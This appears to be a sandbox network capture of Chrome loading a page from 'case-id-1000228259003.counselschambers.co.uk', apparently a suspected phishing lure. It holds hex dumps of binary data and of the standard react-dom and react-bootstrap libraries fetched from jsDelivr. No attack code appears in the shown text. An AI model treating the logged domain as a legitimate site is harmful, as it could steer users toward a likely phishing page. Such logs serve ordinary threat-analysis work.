2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 55 94 05 55 de 31 fe d6 48 45 61 61 8a 83 0f 74 4f 89 90 ae 4b 7f 19 8f 2d e9 34 77 97 9d e8 a3 24 a5 75 97 6f 89 29 33 19 a8 d3 4d 83 d9 6c ee 6b fa 4c 8f 17 0a 9b 1e f5 fa 4b 98 88 a9 7a 43 92 15 e9 68 b4 5a 22 ce 72 38 42 d2 e2 02 92 4b 43 ed 1c 67 f8 25 df a9 1f 19 54 a2 79 d8 50 53 10 29 fc 14 1d 46 63 2e 47 75 a5 d2 e3 2d 86 04 da 40 62 14 89 0a 2a 1b b8 48 a5 c8 60 ba 62 1e 30 ff 00 a1 13 2e 18 d3 ba 34 ee 8d 3b a3 4e e8 d3 ba 34 ee 89 2c b8 96 38 24 46 a5 32 d9 32 d0 95 20 a3 32 b5 a9 c5 82 2e a8 72 8e 3b 9e 95 56 2f 61 27 c1 41 62 bd 3b a3 4e e8 d3 ba 34 ee 8d 3b a3 4e e8 c3 0f 47 97 81 32 de 3b 0e 3a a2 5a 1e c4 ea f0 89 be 9a 73 2e 2e 9f a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d d1 Data Ascii: UU1HEaatOK-4w$uo)3MlkLKzChZ"r8BKCg%TyPS)Fc.Gu-@b*H`b0.4;N4,8$F22 2.r;V/a'Ab;N4;NG2;:Zs..tiwFtiwFtiwFtiwF
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 25 98 b5 1b 6d 83 90 33 96 19 5e 1b b2 3c 1c a9 69 b6 5e e5 27 e7 b1 3e 46 96 09 99 99 8a 5c 95 46 9d b3 59 09 ef b6 f9 fb b6 58 12 cf 15 73 48 f0 3a 75 4f 3b 8a fa bd 1f 48 35 19 a5 b2 b1 1e ee 2f 25 04 2e 6d 01 2e 92 94 da ee 4e dc 8f 07 10 fb f4 d4 d3 83 db 94 9f 9e c5 55 a3 7a 9b e9 05 a3 7a 76 cd 64 27 be da ff 00 93 aa 3c 13 f8 14 ca 96 6f 11 c3 c5 61 67 82 42 9c 35 21 94 e0 95 28 dc 51 30 a0 96 89 26 d9 e0 bd b9 1e 0e 22 ba aa 49 c5 8d ca 4f cf 66 b9 05 a8 ae 45 8c b9 72 29 f4 c6 e0 27 66 b2 13 df 6d 1e e6 e1 fb fe 07 61 4c a8 6a 53 c2 3e e1 df 1b 25 89 ad 16 1a 9d b9 0c a7 02 cf 30 db a6 a5 34 9c 55 b7 23 c1 ca 90 8c c8 fb 94 9f 9e cf f9 27 c2 89 ff 00 6d b5 59 09 ef b4 e1 e0 da 7d 92 7e e7 f8 28 51 a1 c8 d5 45 e7 70 55 f2 0f a8 30 5f c5 49 25 12 Data Ascii: %m3^<i^'>F\FYXsH:uO;H5/%.m.NUzzvd'<oagB5!(Q0&"IOfEr)'fmaLjS>%04U#'mY}~(QEpU0_I%
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 5f a7 a1 c0 e3 4b 65 5b ec 43 71 e0 cc 66 d8 2d e7 7d de e3 d2 62 e7 3f bc fd 32 33 e1 ca 2b c9 0a 81 29 23 49 20 c3 74 a9 4b 11 e8 ed 36 64 58 17 14 b6 24 78 38 8a e3 29 29 5a 5e a6 85 25 48 3d b6 63 b8 f9 b1 05 b6 b8 06 76 a4 cf 13 e3 24 8d 4a 8a c1 46 8f f9 45 df ae 47 83 88 ae fc 77 1a 43 a9 7a 9c a4 83 23 49 f5 b4 cb 8f 1b 34 e4 20 76 2e 05 49 dc a8 3c 6c 31 14 96 52 72 ff 00 2c bb f5 c8 f0 71 15 df 92 eb 2d bc 4f 53 96 90 64 64 7e ad b2 e3 a6 cd 39 29 04 44 92 e1 56 9d c5 ce 1d a6 63 28 13 64 2e 49 0a 6c 52 24 fe 59 77 eb 91 e0 e2 2b bf 2d d6 1b 78 9e a7 2d 21 0c 3a b5 33 4d 4a 41 11 24 b8 93 d7 7c ed 94 a6 e1 96 63 2c c6 5a 86 59 8c a3 19 43 2c 85 89 18 a4 86 61 0c c3 06 a3 3f 4a 5a ae a7 fe 59 77 eb 91 e0 e2 2b bf ea 4c 4d b3 36 49 56 8c d3 19 a3 Data Ascii: _Ke[Cqf-}b?23+)#I tK6dX$x8))Z^%H=cv$JFEGwCz#I4 v.I<l1Rr,q-OSdd~9)DVc(d.IlR$Yw+-x-!:3MJA$\|c,ZYC,a?JZYw+LM6IV
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: 52 2d f3 7b f8 9d 5c 4e 88 be 87 dc 1a 75 b8 14 eb a9 f1 4d fe db 84 2c 2a 05 ec a8 5a 81 07 6d 3a 66 5a a9 b3 00 c5 f2 54 35 be 22 4a 73 0b fe 13 db 84 c5 cf e2 75 aa 08 79 ba 87 dc 16 9b ab 70 29 d7 7c 01 e8 35 c5 a9 ae 91 a4 c1 0d 54 8c 85 c6 5c 77 58 7f ee 55 76 b5 dc 6e 7f 13 a6 7b f5 23 ea 9b a8 7d c1 69 42 da dc 0a 75 a1 0d fd 16 bb 09 4c 78 7e da 21 0f 14 d3 1c 1f ba 20 72 7a af 50 7c 5c fe 27 5b a9 6c b6 6e a1 f7 05 c2 da dc 0a 75 ac dd 37 6f 48 12 c3 21 35 c1 c2 45 a4 81 ba 3d 43 7e 11 aa 5c 9b b2 7b f1 76 7d 64 4c f9 37 3f 89 d4 23 b3 86 21 08 f8 b6 87 dc 1a 75 b8 14 eb 5a 21 b2 85 ad d6 63 f2 cf fe 2d fb d4 aa 18 8c bb cb 97 fa 5f ed 74 fd 56 11 0e d9 1e a2 98 13 28 d5 2e d0 7f 13 ad 0b a9 64 3a 6d a1 f7 06 9d 6e 05 3a c6 b7 11 85 5c 43 00 b9 Data Ascii: R-{\NuM,*Zm:fZT5"Jsuyp)\|5T\wXUvn{#}iBuLx~! rzP\|\'[lnu7oH!5E=C~\{v}dL7?#!uZ!c-_tV(.d:mn:\C
2025-03-14 09:08:33 UTC	1369	IN	Data Raw: fd e3 aa b4 7c ae 56 33 ec 40 8a 2b c1 5e 0a f0 4e 22 9c 21 22 e0 d0 b4 8b d1 90 b9 63 e5 72 c7 ca e5 8f 94 db 36 79 95 35 99 a2 aa 9c 61 89 c2 30 9c c2 dd fb 10 11 1c 29 c0 04 46 06 75 0d 30 ad 51 df 62 bc 06 4d 5f c6 c2 f7 5a 1a ef 18 a5 7d c6 17 27 bd cf 35 76 95 8a 73 7a e1 c7 3f 4e 01 ba 90 66 a7 81 d1 1f d7 08 2c ee 94 fe 93 5b f4 14 94 25 18 41 d9 18 9c 13 86 b0 28 9e 15 e0 0a 27 03 3a 86 a4 8d be d2 d5 0c 40 bc 30 a8 61 64 2d ba cc 56 bf 84 e9 d9 be 50 9b b6 29 fe b0 8f 70 a2 2d f2 bd 26 78 41 a5 64 dd b0 39 81 db a7 c0 46 da 87 6c 93 64 20 a7 3c 34 54 ae 61 bf 49 92 87 1a 63 67 50 d5 ba da d6 98 ed 7f 09 c5 4c 36 6f 94 26 6d 8a 6c dd 44 ef 18 43 ca be 51 71 38 e4 88 39 39 a5 a6 87 4e 51 47 27 bc be 8d fa 0a a4 e6 9a e0 d5 1b ef 0a e2 67 50 d6 81 Data Ascii: \|V3@+^N"!"cr6y5a0)Fu0QbM_Z}'5vsz?Nf,[%A(':@0ad-VP)p-&xAd9Fld <4TaIcgPL6o&mlDCQq899NQG'gP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	151.101.65.229	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:33 UTC	655	OUT	GET /npm/react-dom/umd/react-dom.production.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive Origin: https://case-id-1000228259003.counselschambers.co.uk sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	760	IN	HTTP/1.1 200 OK Connection: close Content-Length: 131835 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 18.3.1 X-JSD-Version-Type: version ETag: W/"202fb-/rjdydBWak+glxpuEThlhhjNrP4" Accept-Ranges: bytes Age: 20831 Date: Fri, 14 Mar 2025 09:08:33 GMT X-Served-By: cache-fra-eddf8230141-FRA, cache-nyc-kteb1890093-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2d 64 6f 6d 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 0a 20 2a 20 4c 49 43 45 4e 53 45 20 66 69 6c 65 20 69 6e 20 74 68 65 20 72 6f 6f 74 20 64 69 72 65 63 74 6f 72 79 20 6f 66 20 74 68 69 73 20 73 6f 75 72 63 65 20 74 72 65 65 2e 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a Data Ascii: /** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. /(function(){/
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 22 3d 3d 3d 74 79 70 65 6f 66 20 62 7c 7c 64 6a 28 61 2c 62 2c 63 2c 64 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 64 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6e 75 6c 6c 21 3d 3d 63 29 73 77 69 74 63 68 28 63 2e 74 79 70 65 29 7b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 21 62 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 21 31 3d 3d 3d 62 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 62 29 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 62 29 7c 7c 31 3e 62 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 59 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 74 68 69 73 2e 61 63 63 65 70 74 73 42 6f 6f 6c 65 61 6e 73 3d 32 3d 3d 3d 62 7c 7c 33 3d 3d 3d 62 7c 7c 34 3d 3d 3d 62 3b 74 68 69 73 2e 61 74 74 72 69 62 75 74 65 4e 61 Data Ascii: "===typeof b\|\|dj(a,b,c,d))return!0;if(d)return!1;if(null!==c)switch(c.type){case 3:return!b;case 4:return!1===b;case 5:return isNaN(b);case 6:return isNaN(b)\|\|1>b}return!1}function Y(a,b,c,d,e,f,g){this.acceptsBooleans=2===b\|\|3===b\|\|4===b;this.attributeNa
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 7b 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 62 2c 5b 5d 29 7d 63 61 74 63 68 28 6e 29 7b 76 61 72 20 64 3d 6e 7d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 61 2c 5b 5d 2c 62 29 7d 65 6c 73 65 7b 74 72 79 7b 62 2e 63 61 6c 6c 28 29 7d 63 61 74 63 68 28 6e 29 7b 64 3d 6e 7d 61 2e 63 61 6c 6c 28 62 2e 70 72 6f 74 6f 74 79 70 65 29 7d 65 6c 73 65 7b 74 72 79 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 0a 7d 63 61 74 63 68 28 6e 29 7b 64 3d 6e 7d 61 28 29 7d 7d 63 61 74 63 68 28 6e 29 7b 69 66 28 6e 26 26 64 26 26 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 6e 2e 73 74 61 63 6b 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 74 61 63 6b 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 66 3d 64 2e 73 74 61 63 6b 2e 73 70 6c 69 74 28 22 5c Data Ascii: {Reflect.construct(b,[])}catch(n){var d=n}Reflect.construct(a,[],b)}else{try{b.call()}catch(n){d=n}a.call(b.prototype)}else{try{throw Error();}catch(n){d=n}a()}}catch(n){if(n&&d&&"string"===typeof n.stack){for(var e=n.stack.split("\n"),f=d.stack.split("\
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 6f 76 69 64 65 72 22 3b 63 61 73 65 20 69 65 3a 76 61 72 20 62 3d 61 2e 72 65 6e 64 65 72 3b 61 3d 61 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3b 61 7c 7c 28 61 3d 62 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 62 2e 6e 61 6d 65 7c 7c 22 22 2c 61 3d 22 22 21 3d 3d 61 3f 22 46 6f 72 77 61 72 64 52 65 66 28 22 2b 61 2b 22 29 22 3a 22 46 6f 72 77 61 72 64 52 65 66 22 29 3b 72 65 74 75 72 6e 20 61 3b 63 61 73 65 20 6a 65 3a 72 65 74 75 72 6e 20 62 3d 61 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 6e 75 6c 6c 2c 6e 75 6c 6c 21 3d 3d 62 3f 62 3a 64 65 28 61 2e 74 79 70 65 29 7c 7c 22 4d 65 6d 6f 22 3b 63 61 73 65 20 54 61 3a 62 3d 61 2e 5f 70 61 79 6c 6f 61 64 3b 61 3d 61 2e 5f 69 6e 69 74 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 65 28 61 28 62 29 29 7d 63 61 74 63 68 28 Data Ascii: ovider";case ie:var b=a.render;a=a.displayName;a\|\|(a=b.displayName\|\|b.name\|\|"",a=""!==a?"ForwardRef("+a+")":"ForwardRef");return a;case je:return b=a.displayName\|\|null,null!==b?b:de(a.type)\|\|"Memo";case Ta:b=a._payload;a=a._init;try{return de(a(b))}catch(
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 62 29 2c 64 3d 22 22 2b 61 5b 62 5d 3b 69 66 28 21 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 62 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 63 2e 67 65 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 63 2e 73 65 74 29 7b 76 61 72 20 65 3d 63 2e 67 65 74 2c 66 3d 63 2e 73 65 74 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 62 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 63 61 6c 6c 28 74 68 69 73 Data Ascii: PropertyDescriptor(a.constructor.prototype,b),d=""+a[b];if(!a.hasOwnProperty(b)&&"undefined"!==typeof c&&"function"===typeof c.get&&"function"===typeof c.set){var e=c.get,f=c.set;Object.defineProperty(a,b,{configurable:!0,get:function(){return e.call(this
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 67 28 61 2c 62 29 3b 76 61 72 20 63 3d 55 61 28 62 2e 76 61 6c 75 65 29 2c 64 3d 62 2e 74 79 70 65 3b 69 66 28 6e 75 6c 6c 21 3d 63 29 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 3d 64 29 7b 69 66 28 30 3d 3d 3d 63 26 26 22 22 3d 3d 3d 61 2e 76 61 6c 75 65 7c 7c 61 2e 76 61 6c 75 65 21 3d 0a 63 29 61 2e 76 61 6c 75 65 3d 22 22 2b 63 7d 65 6c 73 65 20 61 2e 76 61 6c 75 65 21 3d 3d 22 22 2b 63 26 26 28 61 2e 76 61 6c 75 65 3d 22 22 2b 63 29 3b 65 6c 73 65 20 69 66 28 22 73 75 62 6d 69 74 22 3d 3d 3d 64 7c 7c 22 72 65 73 65 74 22 3d 3d 3d 64 29 7b 61 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 76 61 6c 75 65 22 29 3b 72 65 74 75 72 6e 7d 62 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 76 61 6c 75 65 22 29 3f 6d 65 28 61 2c 62 2e 74 79 70 65 2c 63 Data Ascii: g(a,b);var c=Ua(b.value),d=b.type;if(null!=c)if("number"===d){if(0===c&&""===a.value\|\|a.value!=c)a.value=""+c}else a.value!==""+c&&(a.value=""+c);else if("submit"===d\|\|"reset"===d){a.removeAttribute("value");return}b.hasOwnProperty("value")?me(a,b.type,c
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 72 6e 20 45 28 7b 7d 2c 62 2c 7b 76 61 6c 75 65 3a 76 6f 69 64 20 30 2c 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 76 6f 69 64 20 30 2c 63 68 69 6c 64 72 65 6e 3a 22 22 2b 61 2e 5f 77 72 61 70 70 65 72 53 74 61 74 65 2e 69 6e 69 74 69 61 6c 56 61 6c 75 65 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 67 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 2e 76 61 6c 75 65 3b 69 66 28 6e 75 6c 6c 3d 3d 63 29 7b 63 3d 62 2e 63 68 69 6c 64 72 65 6e 3b 62 3d 62 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 69 66 28 6e 75 6c 6c 21 3d 63 29 7b 69 66 28 6e 75 6c 6c 21 3d 62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 39 32 29 29 3b 69 66 28 63 63 28 63 29 29 7b 69 66 28 31 3c 63 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 39 33 29 29 3b 0a 63 3d 63 5b 30 5d 7d 62 3d Data Ascii: rn E({},b,{value:void 0,defaultValue:void 0,children:""+a._wrapperState.initialValue})}function ng(a,b){var c=b.value;if(null==c){c=b.children;b=b.defaultValue;if(null!=c){if(null!=b)throw Error(m(92));if(cc(c)){if(1<c.length)throw Error(m(93));c=c[0]}b=
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 65 74 49 6e 6e 65 72 48 54 4d 4c 29 7b 69 66 28 6e 75 6c 6c 21 3d 62 2e 63 68 69 6c 64 72 65 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 36 30 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 7c 7c 21 28 22 5f 5f 68 74 6d 6c 22 69 6e 20 62 2e 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 36 31 29 29 3b 7d 69 66 28 6e 75 6c 6c 21 3d 62 2e 73 74 79 6c 65 26 26 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 62 2e 73 74 79 6c 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 36 32 29 29 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 61 2c 62 29 7b 69 66 28 2d 31 3d 3d 3d 61 2e 69 6e 64 Data Ascii: etInnerHTML){if(null!=b.children)throw Error(m(60));if("object"!==typeof b.dangerouslySetInnerHTML\|\|!("__html"in b.dangerouslySetInnerHTML))throw Error(m(61));}if(null!=b.style&&"object"!==typeof b.style)throw Error(m(62));}}function qe(a,b){if(-1===a.ind
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 64 2e 64 69 73 61 62 6c 65 64 29 7c 7c 28 61 3d 61 2e 74 79 70 65 2c 64 3d 21 28 22 62 75 74 74 6f 6e 22 3d 3d 3d 61 7c 7c 22 69 6e 70 75 74 22 3d 3d 3d 61 7c 7c 22 73 65 6c 65 63 74 22 3d 3d 3d 61 7c 7c 22 74 65 78 74 61 72 65 61 22 3d 3d 3d 61 29 29 3b 61 3d 21 64 3b 62 72 65 61 6b 20 61 3b 64 65 66 61 75 6c 74 3a 61 3d 21 31 7d 69 66 28 61 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0a 69 66 28 63 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 32 33 31 2c 62 2c 74 79 70 65 6f 66 20 63 29 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 6a 6a 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 6b 29 7b 67 63 3d 21 31 3b 53 63 3d 6e 75 6c 6c 3b 6b 6a 2e 61 70 70 6c 79 28 6c 6a 2c 61 Data Ascii: d.disabled)\|\|(a=a.type,d=!("button"===a\|\|"input"===a\|\|"select"===a\|\|"textarea"===a));a=!d;break a;default:a=!1}if(a)return null;if(c&&"function"!==typeof c)throw Error(m(231,b,typeof c));return c}function jj(a,b,c,d,e,f,g,h,k){gc=!1;Sc=null;kj.apply(lj,a
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 6e 61 74 65 21 3d 3d 64 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 31 39 30 29 29 3b 7d 69 66 28 33 21 3d 3d 63 2e 74 61 67 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 28 31 38 38 29 29 3b 72 65 74 75 72 6e 20 63 2e 73 74 61 74 65 4e 6f 64 65 2e 63 75 72 72 65 6e 74 3d 3d 3d 63 3f 61 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 42 67 28 61 29 7b 61 3d 6e 6a 28 61 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 61 3f 43 67 28 61 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 43 67 28 61 29 7b 69 66 28 35 3d 3d 3d 61 2e 74 61 67 7c 7c 36 3d 3d 3d 61 2e 74 61 67 29 72 65 74 75 72 6e 20 61 3b 66 6f 72 28 61 3d 61 2e 63 68 69 6c 64 3b 6e 75 6c 6c 21 3d 3d 61 3b 29 7b 76 61 72 20 62 3d 43 67 28 61 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 62 29 72 65 74 75 72 6e 20 62 3b 61 Data Ascii: nate!==d)throw Error(m(190));}if(3!==c.tag)throw Error(m(188));return c.stateNode.current===c?a:b}function Bg(a){a=nj(a);return null!==a?Cg(a):null}function Cg(a){if(5===a.tag\|\|6===a.tag)return a;for(a=a.child;null!==a;){var b=Cg(a);if(null!==b)return b;a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49741	151.101.65.229	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:33 UTC	662	OUT	GET /npm/react-bootstrap@next/dist/react-bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive Origin: https://case-id-1000228259003.counselschambers.co.uk sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	766	IN	HTTP/1.1 200 OK Connection: close Content-Length: 119175 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.9.0-beta.1 X-JSD-Version-Type: version ETag: W/"1d187-o2+OYezMEsMzpEcT3E+ubsFUj8Q" Accept-Ranges: bytes Age: 22833 Date: Fri, 14 Mar 2025 09:08:33 GMT X-Served-By: cache-fra-eddf8230077-FRA, cache-nyc-kteb1890093-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 72 65 61 63 74 2d 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 72 65 71 75 69 72 65 28 22 72 65 61 63 74 22 29 2c 72 65 71 75 69 72 65 28 22 72 65 61 63 74 2d 64 6f 6d 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 72 65 61 63 74 22 2c 22 72 65 Data Ascii: /! For license information please see react-bootstrap.min.js.LICENSE.txt /!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("react"),require("react-dom")):"function"==typeof define&&define.amd?define(["react","re
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 39 34 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 74 3d 41 72 72 61 79 28 65 29 2c 6e 3d 30 3b 6e 3c 65 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6e 3d 41 72 72 61 79 28 65 29 2c 72 3d 30 3b 72 3c 65 3b 72 2b 2b 29 6e 5b 72 5d 3d 61 72 67 Data Ascii: 946:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return(0,o.default)((function(){for(var e=arguments.length,n=Array(e),r=0;r<e;r++)n[r]=arg
